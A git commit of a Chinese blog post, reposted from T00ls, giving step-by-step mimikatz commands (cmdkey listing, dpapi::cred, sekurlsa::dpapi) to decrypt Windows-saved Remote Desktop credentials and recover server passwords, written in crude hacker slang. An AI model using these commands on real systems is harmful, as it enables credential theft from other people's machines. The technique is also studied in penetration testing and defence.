<commit_before>---
layout: post
title: 破解远程终端凭据，获取服务器密码
subtitle: 2017/10/20
date: 2017-10-20
author: FR
header-img:
catalog: true
tags:
    - windows
    - crack
    - password
---
# 破解远程终端凭据，获取服务器密码
- **原文转自T00ls.net [【原文链接】](https://www.t00ls.net/articles-41926.html)**

测试环境：windows 10

道友们应该碰到过管理在本地保存远程终端的凭据，凭据里躺着诱人的胴体(服务器密码)，早已让我们的大棒饥渴难耐了。
但是，胴体却裹了一身道袍(加密)，待老衲操起法器将其宽衣解带。

![](https://www.t00ls.net/attachments/month_1710/1710010133df4eed0bc854ab65.png)

## 0x01 凭据管理器中查看Windows凭据：TERMSRV/1xx.xxx.xxx.xx2

![](https://www.t00ls.net/attachments/month_1710/1710010133cc76caaa81644803.png)

可通过命令行获取，执行: cmdkey /list
>注意:该命令务必在Session会话下执行，system下执行无结果。

## 0x02 凭据存储在用户目录下

C:\Users\<username>\AppData\Local\Microsoft\Credentials\*，图中名为"FF359429D6F19C64BA7D3E282558EEB5"的文件即为目标凭据:TERMSRV/1xx.xxx.xxx.xx2的存储文件

![](https://www.t00ls.net/attachments/month_1710/1710010133de85b4d2e02de9b4.png)

## 0x03 执行

`mimikatz "dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\FF359429D6F19C64BA7D3E282558EEB5"`

![](https://www.t00ls.net/attachments/month_1710/1710010133f73326447a780849.png)

pbData是凭据的加密数据，guidMasterKey是凭据的GUID: {<KEY>}。

## 0x04 执行

`mimikatz privilege::debug sekurlsa::dpapi`

![](https://www.t00ls.net/attachments/month_1710/17100101335e46e0e11d5639b9.png)

根据目标凭据GUID: {<KEY>}找到其关联的MasterKey，这个MasterKey就是加密凭据的密钥，即解密pbData所必须的东西。

## 0x05 拿到了MasterKey,服务器密码便唾手可得。执行解密命令

`mimikatz "dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\FF359429D6F19C64BA7D3E282558EEB5 /masterkey:<KEY>"`

![](https://www.t00ls.net/attachments/month_1710/1710010133a0bde34b6ad38f6f.png)

解密出来的CredentialBlob即为凭据TERMSRV/1xx.xxx.xxx.xx2的服务器密码。
<commit_msg>Update 2017-10-20-破解远程终端凭据，获取服务器密码.md<commit_after>---
layout: post
title: 破解远程终端凭据，获取服务器密码
subtitle: 2017/10/20
date: 2017-10-20
author: FR
header-img:
catalog: true
tags:
    - windows
    - crack
    - password
---
# 破解远程终端凭据，获取服务器密码
- **原文转自T00ls.net [【原文链接】](https://www.t00ls.net/articles-41926.html)**

测试环境：windows 10

道友们应该碰到过管理在本地保存远程终端的凭据，凭据里躺着诱人的胴体(服务器密码)，早已让我们的大棒饥渴难耐了。
但是，胴体却裹了一身道袍(加密)，待老衲操起法器将其宽衣解带。

![](img/2017-10-20/pjyczdpjhqfwqmm_01.png)

## 0x01 凭据管理器中查看Windows凭据：TERMSRV/1xx.xxx.xxx.xx2

![](img/2017-10-20/pjyczdpjhqfwqmm_02.png)

可通过命令行获取，执行: cmdkey /list
>注意:该命令务必在Session会话下执行，system下执行无结果。

## 0x02 凭据存储在用户目录下

C:\Users\<username>\AppData\Local\Microsoft\Credentials\*，图中名为"FF359429D6F19C64BA7D3E282558EEB5"的文件即为目标凭据:TERMSRV/1xx.xxx.xxx.xx2的存储文件

![](img/2017-10-20/pjyczdpjhqfwqmm_03.png)

## 0x03 执行

`mimikatz "dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\FF359429D6F19C64BA7D3E282558EEB5"`

![](img/2017-10-20/pjyczdpjhqfwqmm_04.png)

pbData是凭据的加密数据，guidMasterKey是凭据的GUID: {d91b091a-ef25-4424-aa45-a2a56b47a699}。

## 0x04 执行

`mimikatz privilege::debug sekurlsa::dpapi`

![](img/2017-10-20/pjyczdpjhqfwqmm_05.png)

根据目标凭据GUID: {d91b091a-ef25-4424-aa45-a2a56b47a699}找到其关联的MasterKey，这个MasterKey就是加密凭据的密钥，即解密pbData所必须的东西。

## 0x05 拿到了MasterKey,服务器密码便唾手可得。执行解密命令

`mimikatz "dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\FF359429D6F19C64BA7D3E282558EEB5 /masterkey:<KEY>"`

![](img/2017-10-20/pjyczdpjhqfwqmm_06.png)

解密出来的CredentialBlob即为凭据TERMSRV/1xx.xxx.xxx.xx2的服务器密码。

{'fraction_non_alphanumeric': 0.14956467661691542, 'fraction_numerical': 0.14894278606965175, 'mean_word_length': 6.623222748815166, 'pattern_counts': {'":': 0, '<': 9, '<?xml version=': 0, '>': 11, 'https://': 8, 'lorem ipsum': 0, 'www.': 8, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '830033', 'n_tokens_mistral': 2204, 'n_tokens_neox': 2048, 'n_words': 123}